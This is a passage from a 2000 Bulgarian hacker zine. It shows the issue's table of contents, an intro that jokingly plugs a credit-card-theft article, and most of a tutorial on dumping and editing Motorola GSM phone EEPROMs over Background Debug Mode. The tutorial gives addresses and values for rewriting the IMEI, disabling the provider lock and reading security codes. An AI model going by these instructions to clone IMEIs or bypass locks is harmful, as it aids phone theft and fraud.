Warning: This text file's to be used for educational purposes only !
If you find any Anti-BTC, H/C/P/A/W materials to be offensive
STOP reading this text file right NOW!
Phreedom shall not be liable for any direct or indirect damages
caused by the use / misuse of the information below !
This .txt file should be distributed unmodified and free of charge
Reproductiong of any part of the materials below should be done
with the strict permission of the respective author
. . . ... www.phreedom.org . ...
.. . . phreedom.orbitel.bg ... . . . . . . .......
t e c h n i c a l
. m a t e r i a l s
. | [ h / c / p / a ]
| |
/---\ \---\ /---. /--. /--. .---/ .---\ .---\
|___/ ' | | |__/ |__/ | . | | | | |
| ' ' \--- \--- \---' \---' \ '
|
' . .. ... [ m a g a z i n e ] : since 1 9 9 7
. . ...
i s . s u e
. 0 0 0 1 0 1 1 0
..... . . . . . . . . . . .... . . . . . . 10 . 03 . 2000
.
T O C .
. . . . . ... . . .
a r t i c le . a u t h o r
. . . . ... . . .
Intro Solar Eclipse
Background Debug Mode for Motorola GSMs Kuche
Cracking PC CLub 1.0 DaFixer
Obeshtanie pred Drugarq ManiaX Phreedom Staff
Detecting InterNet Connections ManiaX Killerian
Cracking Java Applets Solar Eclipse
Cracking MMTools DaFixer
Wireless/Packet Modems ADA
Cracking WinHack2 DaFixer
Cracking PerlBuilder 1.0 mr-drone
Interview with a BG carder EXo
Stealing 100000 Credit Cards in 21 Days Solar Eclipse
Microsoft Wordpad Buffer Overflow Research Solar Eclipse
. .. parwo floodq prowidera sled towa go triq Anonymous
.
.
staff@phreedom.org
. . . .. .... .. .. . . .. . . . . .
[ ManiaX ] founder .
. [ EXo ] editor in chief .
[ Solar Eclipse ] assistant editor
. [ General Failure ] foreign relations .
. [ IronCode ] typografical fixer
[ kay ] maillist
. . . . . .. . . .. .. .... .. . . .
.
feel free to get in touch any time
.
. . . . . . . . . .. . ... . ...............
Intro By Solar Eclipse
........... . . . . . . . . . . . . . .
Towa e broi 22 na Phreedom Magazine. Tozi broi dostiga do was
blagodarenie na tochkite (ASCII 0x2e), na koito Solar Eclipse qwno e golqm
fen. Nadqwam se i na was da wi hareswat, pone malko. Zashto sa tolkowa
hubawi tochkite? Ami zashto sa krugli... a wsichki krugli neshta sa hubawi.
Ako ne mi wqrwajte, zatworete se w edna staq i si wzemete malko tochki.
Nikakwa hrana, komputri ili telewiziq - samo tochki. Ne izlizajte ot tam
nqkolko dena i shte widite kolko mnogo shte zapochnete da gi hareswate.
Naprawo nqma da movete da viweete bez tochki weche. Goworq ot lichen opit,
kakto weroqtno se doseshtate :-)
Ok, stiga s tezi gluposti. Razgrushtajki nowiq broi, weroqtno trupnete w
ochakwane da razberete kakwo ima w nego. Prusta wi e na PgDn butona, gotow
da go natisne i durvi dokato zacherwenite wi ochi neturpeliwo poglushtat 150
KB wisokokachestwena technicheska informaciq. Na edin duh. Znam che ne e
lesno da se sdurvite, i zatowa nqma da wi dosavdam s towa Intro prekaleno
dulgo. Shte goworq po sushtestwo.
Kakto weroqtno znaete, tozi broi izleze tochno nawreme (kolkoto i
newqroqtno da zwuchi). Publichnata poziciq na Phreedom Staff-a e che nie
nqma da se izwinqwame na nikogo za towa koeto se sluchi prez 1999 godina, no
wuperki towa shte se postaraem to da ne se powtarq za w budeshte. Celta e da
izkarwame broewe na wseki 2-3 meseca. Towa shte ni dade okolo 4-6 broq na
godina, koeto zwuchi dosta dobre.
Razbira se, kakto i winagi dosega, uspeha na Phreedom Magazine zawisi
edinstweno ot WAS. Ot washto velanie da spodelite znaniqta si i da obmenite
opit. Ne samo ot nashite, no i ot washto wduhnowenie i usiliq. Neka citiram
chast ot Phreedom Credo-to:
V. Koj bi trqbvalo da chete Phreedom:
. Hora, koito iskat da nauchat neshto novo;
. Hora, koito mogat da ni nauchat na neshto novo (ne samo nas, a i
wseki kojto reshi da chete Phreedom);
. Hora, koito ne smqtat,che tova da imash mozuk w glawata e i
da go polzwash po prednaznachenie e neredno;
. Hora, koito ne prinadlezhat na grupatana totalnite lameri, koito
nikoga s nisto ne smeiat da se zahwanat;
Ne budete chat ot poslednata grupa! Naj-tuvnoto e che naposleduk wse
poweche i poweche se sreshtat hora, koito narichat sebe si 'lameri' i dori
se gordeqt s towa... "Az sum lamer, no kakwo ot towa: wsichki sa bili
lameri" Towa e edno ot naj-mizernite neshta koeto chowek move da izreche.
Towa e primirenie sus sobstwenata si glupost, primirienie s murzela i
mizeriqta. Towa e propadane w dupka, ot koqto izlizane nqma... Wqrno e che i
naj-dobrite sa zapochwali ot nqkude, no te nikoga ne sa narichali sebe si
lamer. Ako ti si istinski hacker, ako smisulut na twoq viwot e da se uchish
i da wurwish napred nezawisimo ot pregradite, to ti nikoga ne bi narekul
sebe si lamer. Towa e negowiqt (ili nejniqt) naj-strashen koshmar. Dori samo
misulta za towa che move bi nqkoi bi mogul da te pomisli za lamer shte
nakara istinskiq haker da se zabie oshte po-nadulboko w knigite i w
sourca. Za da move sled wreme da wdigne ochi, da pogledne gordo sweta okolo
sebe si i da kave:
The world of the electron and the switch. Towa e moqt
swqt. Az sum go suzdal i az imam silata da go razrusha.
Moga i da go naprawq po-dobur. Az sum HACKER.
Zamislete se nad towa.
Stiga s lirichnite otkloneniq, neka da se wurnem na temata. A kakwa
beshe temata, pitate se wie? Temata beshe Phreedom Magazine Issue 22. Ne
twurdq che towa e naj-dobriqt broi izdawan nqkoga, no smqtam che kato za
broi izdaden za 2 meseca e suwsem prilichen. (EXo: I kato za purwi broj
podgotwen ot Solar Eclipse - naprawo chudesen...).
Kakwo shte namerite w nego ? Edna golqma chast ot statiite razglevdat
cracking-a. Towa e edna otnositelno nowa tema za Phreedom i se radwam che
weche ima nqkolko nowi awtora, zanimawashti se w tazi interesna oblast.
Pozdrawi na mr-drone i DaFixer za dobre swurshenata rabota. Predlagame wi i
oshte edna statiq, zanimawashta se s neshto (lichno za men) napulno nowo:
Java cracking. Sushto taka imame dwe tehnicheski statii na tema Wireless
komunikacii, po specialno GSM i PacketRadio. ManiaX otnowo shte ni zanimae s
lyubimata si tema: obqsnenie na towa shto e Internet, ima li to pochwa u nas
i ako da - to kak da go otkriem. Kato priznanie za neizcherpaemata mudrost i
moshtna podkrepa, Phreedom Staff-a e podgotwil "Obeshtanie pred Drugarq
ManiaX Killerian". Petiletkata za chetiri godini, po stahanowski, ako
razbirate kakwo iskam da kava. Rodenite sled 1989 weroqtno nqma da shwanat
za kakwo stawa duma. (EXo: imame li takiwa chitateli. Ako ima da se obadqt -
cherpq gi po edin BlackDog :))))
Za tezi ot was, koito se chudqt kak da izkarat pari za more towa lqto,
Solar Eclipse e podgotwil monumentlniq si trud "Stealing 100000 Credit
Cards in 21 Days". Nadqwam se da wi haresa, i ne go wzimajte mnogo
naseriozno, da ne stane nqkoi sakatluk. Za po-tehnicheki orientiranite
chitateli ima i statiq poswetena na procesa na isledwane na edin buffer
overflow w Windows sreda i rezultatite ot nego. Nakraq shte zawurshim s edin
IRC log, koito nqkoi biha kwalificirali kato fun, no na men lichno mi se
doplaka kato go prochetoh. Az lichno smqtam che towa e edno ot
naj-mizernite i dolni neshta koito chowek move da swurshi. Prochetete go i
wie i si kavete mnenieto.
Ako wse oshte ne znaete kak, posetete publichniq Message Board na
Phreedom na address:
http://phreedom.orbitel.bg/mboard/
ili
http://mboard.phreedom.org/
Razbira se, predi da stignete do boarda shte trqbwa da preminete prez
filtura za lameri, koito za suvalene sprq mnogo poweche hora ot kolkoto
ochakwahme. (EXo: ne... nqma da se nalaga da prawite nisto drugo, oswen da
mislite s glawata si i da budete malko po-nabliudatelni).
Tyj kato se okazwa, che tozi broj e malko-ili mnogo cracking related se
radwam, che w nego ste ima i 1-2 off-topic materiali za fenowete na
ostanalite sferi ot technicheskoto znanie. Ne sym siguren dali teoriqta na
cardinga-a move da se okachestwi kato technichesko znanie, no sus sigurnost
interview-to s edin dosta naprednal BG carder ste bude interesno na mnozina
wannabe-ta.
Oswen pregled na broq, w Introto na Phreedom chesto se razglevdat i
interesni subitiq, koito sa se sluchilo dokato chitatelite trepetno sa
chakali nowiq broi. I tozi put nqma da podminem tazi tradiciq. Izminalite 2
meseca bqha otnositelno nasiten sus subitiq period.
Naj-ochakwanoto (i naj-malko oprawdaloto ochakwaniqta subitie) beshe
zwqrut, narechen Y2K. Mnozina ochakwaha kraq na sweta, nashestwie na
izwunzemni, ili neshto drebno, kato naprimer wsichki komputri po zemqta da
crashnat vestoko i da prichinqt "The End Of The World As We Know It". Za
shatsie (ili za neshtastie), nishto takowa ne se sluchi. Dori opaseniqta ot
shirokoobhwatni hakerski ataki nawruh Nowa Godina ne se oprawdaha. Za men
lichno towa beshe edna ot naj-skuchnite Nowogodishni noshti, sushto kakto i
za hilqdite sistemni administratori, chakashti da widqt kak naj-vestokite im
koshmari shte se sbudnat. (EXo: za men puk beshe prosto neveroqtna nowa
godina - izpokarah se sys wsichki blizki, teglih im edna majna i si izkarah
pochti (...) sam iz sofijskite ulici i w posledstwie w club. Chervilo. Ne
moga da wi opisha kakwa tochno swoboda izpitwah togawa)
Za wsichki koito ne znaqt: Kevin Mitnick e na swoboda. Weche movete da
prestanete da pishete "Free Kevin" po deface-natite websaitowe i da
izpolzwate "free" kato prilagatelno - "Kevin Free". Shegata nastrana,
problemite w viwota na Kevin edwa sega zapochwat. 30-godishen, prekaral 5
godini w kriene ot zakona i oshte 5 w lapite mu. Prewurnal se w ikona za
pokolenie hakeri. Sus sudebna zabrana da izpolzwa komputer, telefon s tonowo
nabirane i kakuwto i da e dostup do Internet. Nikoi chowek ne zasluvawa
towa. Problema e, che horata wse oshte ne razbirat, che dostupa do
tehnologiite i do Internet e ne priwilegiq, a osnowno choweshko prawo,
tolkowa purwichno, kolkoto i prawoto da dishash i da chetesh. Na nikoi nqma
da mu hrumne da zabrani na biwsh zatwornik da chete. No na Kevin Mitnick mu
e zabraneno da izpolzwa Internet - naj-golqmata informacionna sukrowishtnica
na chowechestwoto. Sumnqwam se che nqkoi ot was shte go naprawi, no na
websaita na Kevin (www.kevinmitnick.com) ima adres, na koito movete da
izprashtate donacii, s koito da pomognete na Mitnick da izgradi viwota si
nanowo. Nezawisimo ot towa kolko e winowen toi, prawitelstwoto na
Suedinenite Amerikanski Shtati go e preebalo 100 puti poweche, za nazidanie
na ostanlite. Jesus sushto e umrql za nashite grehowe... ili pone taka
kazwat.
Poslednoto subitie, na koeto iskam da oburna wnimanieto wi e DDoS
atakata, koqto uspeshno zatwori Yahoo, ebay, ZDNET i oshte nqkolko golemi
saita. Wupreki che reakciqta na obshtestowoto beshe mnogo golqma, towa ne e
nishto nowo i malcina security experti bqha iznenadani. Nqkoi ot tqh dori
dowolno potriwaha ruce - kolkoto poweche horata se plashat ot hakerite,
tolkowa poweche rabota (i pari) shte ima za security konsultantite. Dori
pichowete ot L0pht bqha prakticheski zasipani s pari ot @Stake. Nadqwam se,
che towa nqma da im poprechi da produlvawat izkluchitelno elitnata si
rabota.
Towa e. Chete spisanieto i mu se radwajte. To e washe.
Umnata ! I ne gazete trewata...
Solar Eclipse
(C) 2000 Phreedom Magazine
. . . . . . . . . .. . ... . ...............
Background Debug Mode for Motorola GSMs By Kuche
........... . . . . . . . . . . . . . .
I. Za kakvo e tazi statija (intro)
II. BDM v detajli
III. EEPROM-a na igrachkata
1. Smjana na melodijata
2. Startup Text
3. Testova karta
4. Razkodirane s BDM
5. Menuta
6. Drugi
IV. Neotkriti vyzmozhnosti
V. Otkriti nevyzmozhnosti
VI. Linkove
VII. Sykrashtenija
VIII. Zak(l)uchenie
I. Za kakvo e tazi statija (intro).
Predi djakolko meseca, vujchoto mi cyfna v nas s njakolko GSM-ta,
Motorola d160,s predlozhenie za razkodirane. Togava bolnata mi tikva se navi
na tova mrysno zanjatie. Sled kato ne stana nishto s djagite predlagani po
internet,se prestrashih da probvam BDM. Goljamo beshe i uchudvaneto mi,
kogato shemkata proraboti ot raz. No sled kato razbrah kvi sa vyzmozhnostite
na BDM-to reshih da ne spra do tuk (osven tova sichki ME-ta bjaha sys
ednakyv IMEI). V statijata shte se govori predimno za EEPROM-a, i za dannite
zapisani v nego. A predimstvo na BDM, e che mozhe da chetete cjalata
nalichna pamet, bez da ja razpojavate (na DSP-to e mask programmable).
Statijata e pisana po vreme na praktika s desetina d160-tki (zatova predimno
za d160 vazhat napisanite neshta, no i razlikata s drugite modeli e syvsem
malka - otnosno EEPROM dannite,Firmwareto e syvsem razlichno), s razlichhni
versii na firmwareto (3), i lock-nati za razlichni provideri.Syshto tyka mu
e mjastoto, mislja (dali?), da spomena che 60% ot infoto go ima na
stranicite na Janus [ 2 ], no kakvo da napravja, kato tam ima vsichko za
Motorola(makar i razpiljano). No pyk veche njama Firmware za download.
BDM e sykrashtenie na Background Debug Mode (prevoda-mozhete go i sami),
kojto se izpolzva pri nastrojka, proverka i flash-vane na njakoi
Motorolski MCU-ta. Tova sa naprimer 68HC16 (CPU16), 683xx (CPU32) i dr.
Syshtestvuva v 2 varianta-16 bitov za CPU16 i 32 bitov za CPU32, kato
razlikata e spomenata v [II]. Interes (za statiata) predstavljava
MC68338(2), kojto se izpolzva v dosta ot GSM modelite na Motorola (vypreki
che mozhe bi sa malko starichki). Takiva sa d160,d170, cd520, **00, StarTAC,
cd9*0 i dr., kakto i njakoi GSM-i ot drugi proizvoditeli.
Kym statiata ima i dwe 2 JPG-ta, v koito e opisana (nadraskana) shemata
na harduera (ne e strashna - 2IC-ta, 2 kondenzatora i 2 rezistora) i na
edno PCB sobstwena izrabotka. Softuera, kolkoto i da e bugav, e
edinstvenijat freeware, kato e vizmozhno da si napishete sobstven. Source e
na [ 1 ]. BDMFLASH e po -dyrven ot BD32, no za smetka na tova, mu lipsvat
bugovete harakterni za BD32. Naj - dobre e da imate i dvata [ 4 ], [ 3 ].
Problem e copyright-a na firmwareto (i na windoz, no tova e druga tema na
razgovor) - vypreki che njamame(-te) pravo da go disasemblirate, vi
preporychvam IDA (full version - poddurva Motorola CPU-ta), kakto i 68kasm -
asembler za 68k-ta. (naposledyk IDA-ta me predade, taka che ne i se
nadjavajte mnogo). V cjalata istoria ima edin neudoben moment - mozhete da
skapete sichko, ako ne vnimavate kakvo pravite (az go napravih, no za
shtastie imah dostatychen broj ednotipni GSM-ta) - trjabva predi vsichko da
si dumpnete EEPROM-a i FLASH-a. Tova mozhe da stane v 2 fajla ili v edin, no
e po-dobre da imate EEPROM-a na otdelen dump (toj e celta na zanjatieto).
Ako vi se stori che firmwareto e starichko mozhete da si go update-ne te
(pri mene imashe 85.00.27, koeto beshe update-nato na 85.00.56). Estestveno
tova e se edno da si instalirate piratski windoz. Goleminata na FLASH-a e
1Mb, a na EEPROM-a 8kb, zapochvashti ot $120000 (po-natatyk sys $ se
oznachavat hex chislata, ne samo zashtoto me myrzi da pisha 0x, ami i
zashtoto v BD32 taka se oznachavat 16tichnite chisla). Dumpa mozhe da se
napravi kakto s BDMFLASH, taka i s njakolkoto makrosa za BD32 [ 5 ], koito
se unzipvat v direktoriata mu. V statijata sa opisani predimno nachini za
promjana na nastrojkite (njakoi ot koito mogat da se smenjat s clone card,
koeto taka i ne mozhah da podkaram). Druga osobenost, kojato ne e zle da
spomena,e che ima verojatnost da se otlepi, ot prenagrjavane, pytekata,
kydeto se zapojava interfejsyt - koeto e leko neprijatno (napravo mnogo!).
Kato za intro mislja che sym kazal vsichko po-vazhno (da ne zabravja, che
edinia ot pinovete (WDOG), trjabva da byde vyrzan kym +5V-zahranvaneto idva
ot PS/2 port ili ot samoto ME - L275). Na [ 6 ] mozhete da namerite
razpolozhenieto na podlozhkite v ME-to.
II. BDM v detajli
Edva li njakoj go interesuva tova, no se pak ne e losho da go ima.
Pylnoto opisanie go ima na [ 7 ]. Tyka estestveno e dosta po-kratko.
Pinovete na MCU-to, koito imat neshto obshto s BDM sa :FREEZE,/RESET, /IPIPE
(DSO), /IFETCH(/DSI), /BKPT(DSCLK). Pri CPU16 /IFETCH = IPIPE1, a /IPIPE =
IPIPE0, /DSI = DSI kato razlikata mezhdu poslednite e samo inversijata na
ukazanite mesta (/). FREEZE e ouput pin, kojto pokazva dali CPU-to e v BDM
(high). Kogato na FREEZE ima 0, IPIPE i IFETCH se izpolzvat za prosledjavane
na instrukciite, obrabotvani ot CPU-to. Tazi vyzmoznost ne e vkluchena v
tozi variant na interfejsa. BKPT e input pin, i se izpolzva za zajavka za
BDM, kojato se izpylnjava sys sledvashtata instrukcija. Kogato CPU - to e v
BDM, (FREEZE - high), IPIPE stava serial output, IFETCH - serial input, BKPT
- clock. Po taka poluchenata seriina vryzka, CPU-to priema instrukcii
(IPIPE), obrabotva gi, i vryshta rezultat (IFETCH), v 17 - bitovi dumi. Pri
greshka starshijat bit e 1, inache 0. Instrukciite, koito mogat da bydat
predavani chrez BDM,sa sravnitelno malko,kato pylen spisyk mozhe da se
nameri v sourceto,spomenato po-gore. RESET-a se polzva s BKPT. Prilozhenata
shemka e sravnitelno prosta i lesna za izrabotka, no ne predlaga
izpolzvaneto na pylnite vyzmozhnosti na BDM. Njakyde po mrezhata bjah
sreshtnal da se prodava pylnijat variant na skromnata cena ot njakolko
stotin $. V samoto ME,ima edno CPU (A stiga be!), flash pamet s firmwareto,
EEPROM s configuracionni danni, SIM chetec, Modem (imasht neshto obshto s
TRx-a),LCD s kontroler i kbd. Polovinata ot tezi neshta si imat sobstveni
adresi v pametta (neshto kato $2f8 za PC-to (lame)).Drugata polovina e
vyrzana za portovete na CPU-to direktno.Pootdelno nadolu ima za EEPROM,
FLASH, KBD, LCD.
III. EEPROM-a na igrachkata
Toj mozhe da byde sjakakyv, kato v povecheto e na Atmel (vkl. na d160).
Po dolu sa dadeni njakoi vyzmozhnosti, oznacheni s rimski chisla. Te sa
po-interesni (pone spored mene). Drugite sa zavrjani v edno cjalo pod nomer
[6].
1. Smjana na melodijata
Edna ot melodiikite ( edinstvenata kojato mozhe da se smeni) e zapisana
na adres $861. Configuracijata e na adres $884 - bitove 15:10 sa za
dylzhina(v noti), 9:8 sa za tempo, 7:1 bez znachenie, 0 e zadyl- zhitelno
1.Na adresi $861-883 se zapisvat notite na melodijata kakto sledva: bitove
7:5 prodylzhitelnost, 4:0 nota, kato 00 e pauza, a 1f e naj-gorno do (ili
kakto e tam po muzikantski). Prodylzhitelnostta e: 00 - 1/16;$20 - 1/8;
$40 - 1/4;$60 - 1/2;$80 - 1;$a0 -2;$c0 - 4;$e0- 8(vypreki che sym zle s suf-
lezha, neznam da ima dvojni i po-golemi noti - no vse pak sa fakt ). Ako se
izpolzva test-karta ( ili $13 na adres $3B ) s komanda 1542# mozhe da si
chuete proizvedenieto. Primer za takava melodiika namerih na [ 8 ] :
Addr:$861 862 863 864 865 866 867 868 869 86a 86b 86c 86d 86e Val :$ 03 0B
0C 0A 0B 01 0C 02 17 02 02 02 02 02
2. StartUp Text
Zapisan e na adres $33F v EEPROM-a, obiknovenno e MOTOROLA <0A> GSM,
kydeto <0A> = . Mozhete da si nagruhate do 24<0A>24 znaka text, kojto
se pojavjava pri vsjako vkluchvane na aparata.
3. Testova karta
Tazi igrachka struva po magazinite(ako ja namerite)$50-200. Estestveno s
BDM ne samo mozhe da se emulira ( ako znaete adresa, az ne go znam (IDA) ),
no i pri setvaneto na bit 4 na adres $3B , vi predostavja vyzmozhnostta pri
zadyrzhane na butona [#] da se vleze v Test rezhim bez BDM ili Testova
karta.Pylno opisanie na komandite ima na syotvetnija link [ 1 ]. Tyka mozhe
da se spomene che njakoi ot komandite sa prazni, i udobni za vkl. na
sobstven kod ( slagate edno jmp na syotvetnija adres, kydeto sedi jmp kym
prazen sub). Njakyde chetoh che pusnali cjala seria aparati sys setnat tozi
bit, pri koeto stanalo neshto kato sluchkata s NightCam na Sony.
4. Razkodirane s BDM
(Tova e *samo* za psihopati ili zdravi fenove). Vypreki psihicheskijat
tormoz za pretochvaneto na 15MB IDA (10x na Solar Eclipse), firmwareto se
okaza goljama kuchka. (kakto e spomenato po-dolu). Disassembliraneto beshe
nefyzmozhno (pone za IDA-ta:(((( ), no kakto i da e, edva li si zasluzhava
tolkova zor samo za razkodirane.Ako tolkova vi e pritrjabvalo eto
edinstvenija kod kojto znam: $052:4A7462020000000064; $3AB:00 ; $3B0:C42B.
Pyrvoto e kodiran IMEI-yt na aparata[ 9 ], vtoroto e adresa na SP Lock-a (03
e enabled/ 00 - disabled). I nakraja groznoto CRC , koeto taka i ne namerih
kyde se izchisljava (tova stava s clone card emulator,kojto taka i ne trygna
[10 ]).Pri njakoj ako stane nomera, mozhe da probva s razlichni IMEI - ta.
Naj-verojatno e tipovete ot SP-to da zabelezhat che ima mnogo aparati s edno
i syshto IMEI, i da reshat da pravjat prostotii. Tozi IMEI e pravilen *samo*
za aparati s 0010109 versia na EEPROM kartata. Tova mozhe da se proveri s
edna programka [ 11 ], kojato pokazva i dosta info izdyrpano ot EEPROM dump,
kojato e i absolutno neobhodima.
5. Menuta
V aparatite njakoi menu-ta sa izklucheni, za da ne predizvikvat
psihicheski tormoz na sobstvenicite, kakto i pri neobhodimost da im izcocat
parichkite. Karta na menutata ima na [ 12 ], kato stojnostite se grupirat po
8 i se zapisvat na adresi $A0... Sred tjah ima dosta hitrini, za koito dori
mogat da vi pognat kato kucheta.
6. Razni drugi
'Hmmmm,'-shte rechete-'mnogo byrzo stignahme do 'razni-te'' . Emi taka
e, kvo da se pravi.Eto i adresite v slednija format : ADDR,LEN,INFO
$36F,3,Security code - 6 cifri,123123=21 13 32; $372,2,Unlock code - 4 cifri
analogichno na security-to.$5B0-$5CC,prez 4,kodiran SP kod, spored njakoi e
XOR-nat s F6F6F6F6 i razmenen po gornia nachin. $FBC,do kraja, phonebook-a.
$0,2,Checksum na chasti ot EEPROM-a.Opravjat se po ukazanija na linka nachin
(tozi za testovata karta). Ima kopie na sumata i na $910. Vsichki stringovi
danni mogat da se vidjat i smenjat s MotTool [11 ].
7. CRC-ta
Nakraja, za naj-gadno shte spomena CRC-tata, koito se motajat iz
EEPROM-a. Tova e CRC-to na IMEI+SP,s neizvesten polinom(IDA).Pri njakoi novi
modeli ima i edno prokleto chipche- DS2401, koeto ebe(mmmmmm cinizym) mamata
na modificiraneto na EEPROM-a. Info za nego ima na [ 13 ].To pak e na
CRC-ova osnova. Na syshtija link ima drasnat i edin red za emulator na
DS2401 s PIC 12C509 (Tija PIC-ove se za nezakonni raboti se polzvat
neshto.....).
III. Periferii
Ot periferiite edinstveno za LCD-to i KBD-to namerih info v edin fail,
na kojto linka, neznam dali bih mogyl da go namerja, zashtoto po onova vreme
tezi neshta mi bjaha tymna india.(d160HW.zip). A i IDA-ta mi izigra kofti
nomer, che nemozha da disasemblira firmwareto-za taja kucnja po-dolu pishe.
1. LCD
Na zadnata strana na LCD-to ima kapsulovan chip (Hitachi 44780), kojto
za da se polzva e neobhodimo da se zapishat v RAM-a syotvetnite regi-
stri. LCD-to izpolzva 2 adresa - edin za kontrol - $ffa001 i edin za danni -
$ffa000. A tova sa registrite koito trjabva da se setnat predi upotrebata na
gornite (tova izobshto njamashe da mi mine prez tikvenika,ako ne bjah vidjal
spomenatijat fail) :$fff400->$0C;$fff488->$12f7; $fffa58->$ffa03230. Stojno-
stite, kydeto sa poveche, sa prodylzhenie na sledvashtijat adres. Simvolite
se zapisvat na danni-adresa,posledovatelno (Napr. kod 65 se zapisva $ffa000
->6;$ffa000->5). Samite kodove sa: 41-A;42 - B; ....., 61 - a; 62 - b.....,
specialni simvoli <40. Na kontrol-adresa pyk, se zapisva po syshtija nachin
informacija za ikonite (1/0), polzicija na zapis,izchistvane na ekrana,i dr.
Za syzhalenie, tova info e oshte ne dobre razraboteno, zashtoto fajla go
namerih bukvalno predi 2 dena,i ne sym se zanimaval s nego(no tova ne prechi
da opitate - tyka pone njama strashno). Link za DOSTA info za LCD-to -[15].
Na nego ima dori info kak da si napravite sobstveni simvoli (kodove ot 0
do 7).
2. Klaviatura (ili kvoto e tam....)
V po-gore opisania fail namerih i malko info za matricata na kbd-to.Tja
Polzva Port E i Port F na MCU-to za matrica. PortE: $fffa17 - Pin
Assignment(0).$fffa15 -I/O 1 za input 0 za output.Adres za danni $fffa13 i
$fffa11. PortF: $fffa1f - Pin Assignment(0).$fffa1d -I/0, syshtoto kato
PortE,$fffa19 i $fffa1b sa adresi za danni. Cheteneto stava s podavane na
posledovatelno 1-ci na PortE[7:3],i se gleda rezultatyt na PortE [2:0] i
PortF[4:3]. Matricata e slednata:
E7 E6 E5 E4 E3
[vlm] [OK] [<-] [8] [1] E0
[->] [C] [7] [6] E1
[#] [5] E2
[^] [0] [4] [3] F3
[M] [*] [*] [9] [2] F4
Infoto za LCD i KBD e dosta polezno, ako sednete da pravite GSM-a na
neshto drugo, ili pone da se ebavate s firmwareto. Az, ne che se hvalja, ama
tova se opitvam da napravja. Tuka e momenta da spomena, che njamam nishto
protiv Motorola ( osven skapanija pomiar pred ofisa im, kojto iskashe da ni
izjade, mene i ADA-ta), taka che ako imat neshto protiv mojto
disassemblirane ( za 'educational purposes'), da zemat da mi pratjat malko
knishki (da se ucha ot tjah, a ne ot firmware-to, shtoto po magazinite kur
ima ;-PP ). A dotogava smelo napred. Firmware-to , kakto spomenah po-gore e
v 8MBit(1Mb) flash ROM, obiknoveno na AMD ili Intel. Tyk-tame se sreshtat i
drugi. S BDM to se adresira ot $0, do $FFFFF, a EEPROM-a ot $120000, do
$121FFF. Za syzhalenie IDA-ta nemozha da disasemblira koda (ne celija),
koeto mi vyrza rycete. Zatova tyka vmesto kod na vsevyzmozhni prostotii,shte
trjabva da slozha samo njakoi po-osnovni neshta.
IV. Neotkriti vyzmozhnosti
S pomoshtta na asembler za 68k [ 14 ], mozhete da napishete sobstvena
programa, da ja kompilirate i da ja butnete na mjastoto na firmware-to, kato
za nachalen adres v .bin fajla trjaa da e $400. Taka mozhete da prevyrnete
GSM-a dori v bomba(sichko si ima,dori i RTC). Problema e infoto koeto osven
na [ 15 ] drugade *ne mozhe* da se nameri :(. Tova e i idejata kojato sega
mycha, i sigurno po-natatyka mozhe da se publikuva kato Anarchy(koeto neshto
kato obem namalja naposledyk).Ima njakolko udobni adresa, koito mogat da se
izpolzvat za jmp-vane kym samodelka, kojato e razpolozhena v svobodnoto
mjasto v ROM-a. Takova mjasto e 22# na test mode-to,kakto i oshte njakolko
null_sub-a, sreshtnati v otkysite kod, sneseni ot IDA. ( Za syzhalenie, ne
mozhe da se kazhe tochno kyde sa, zashtoto sa v funkcii, ne vikani ot
nikoi).
V. Otkriti nevyzmozhnosti
Dosta trudno e da se napishe kod, kojto da chete ot SIM kartata
danni,zashtoto podobno na izpolzvaneto na LCD-to , trjabva da se polzva
kontroler, chiito adresi i registri sa neizvestni(IDA). Podobno e i
izprashtaneto na danni kym/ot TTx i TRx na 'dolnata mu dupka', kakto i
izprashtane/priemane po njakoj kanal.Estestveno ako s malko poveche kysmet s
IDA-ta ili njakoj drug disasembler (syshto problem pri LPT-versijata na BDM,
software-to ima problem s setvaneto i izpolzvaneto na breakpoints ) mozhe da
stane chudesno izpylnenie po tezi tochki. (2-te).
VI. Links
Kakto se zabeljazva povecheto linkove sa kym www.tele-servizi.com/janus.
Tova e naj-jakijat sait za Motorola. Kofti e che mu reznaha chastta ot nego
sys firmware-to (neshto kato BTK i Phreedom predi vreme). V nego sa sybrani
pochti cjaloto neobhodimo info i software. Drugijat osnoven server e tozi na
motorola (estestveno), kydeto smenjat linkovete i organizacijata prez den.
[ 1 ] : http://www.mot.com/pub/SPS/MCU/ibm/bdm-v090.zip
[ 2 ] : http://www.tele-servizi.com/janus/
[ 3 ] : http://www.mot.com/pub/SPS/MCU/mcu332/bd32-122.zip
[ 4 ] : http://www.tele-servizi.com/janus/download/bdmflash.zip
[ 5 ] : http://www.tele-servizi.com/janus/download/bd32Util.zip
[ 6 ] : http://www.tele-servizi.com/janus/gsmbdm.htm
[ 7 ] : http://www.mcu.motsps.com/lit/app_notes/an1230.pdf
[ 8 ] : http://www.ut.ee/~mad/helin
[ 9 ] : http://www.tele-servizi.com/janus/texts/imei.txt
[10 ] : http://www.tele-servizi.com/janus/simemu.htm
[11 ] : http://www.tele-servizi.com/janus/download/mottool.zip
[12a] : http://www.tele-servizi.com/janus/medit.mnu
[12b] : http://www.tele-servizi.com/janus/download/meditx11.zip
[13 ] : http://www.dalsemi.com/DocControl/PDFs/2401.pdf
[14 ] : http://welcome.to/68000
[15 ] : http:/www.mcu.motsps.com/
[16 ] : http://www.myke.com/engres/lcd.htm
VII. Sykrashtenija
Njakoi sigurno sa si zadali vyprosa 'Kvi sa tia dumi be'. Tyka sa
pomesteni njakolkoto sykrashtenia izpolzvani v statiata.
ME - Mobile Equipment. Aparata.
IMEI - International ME Identificator. ID na aparata. Vseki si ima
unikalno IMEI, koeto e bilo zamisleno za otkrivane na kradeni
aparati.
DSP - Digital Signal Processor
BTK - Bjagajte ot Tezi Kozi
SP - Service Provider. Za BG zasega e samo Mobiltel.
SP Lock - Kofti moment, Kogato ME-to e SP Lock-nato, to mozhe da se
polzva s karti ot opredelen dostavchik.
VIII.Zak(l)uchenie
Pyrvo, iskam da kazha che sym izkluchitelno nedovolen ot obema na
statijata, kakto i ot tova che e v stil 'Tova e taka, ako ti e interesno
vizh link edi koj si',no kvo da se napravi, ako bjah trygnal da pisha
sichko,osven che shteshe da se pretrupa statijata, shteshe da se nalozhi da
dyrzhite PgDn dosta vreme, predi da stignete inte- resuvashtata vi chast
(ili napravo sledvashtata statija). Syshto, izkluchitelno mnogo
syzhaljavam, che ne mozhah da napisha malko kod za vmykvane vyv firmware-a.
Psuvajte me smelo (Shapka mu svaljam na ToPPeR, za Voltovete i Watovete v
predishnata statia, naprimer), samo taka moga da se promenja (Choveka bil
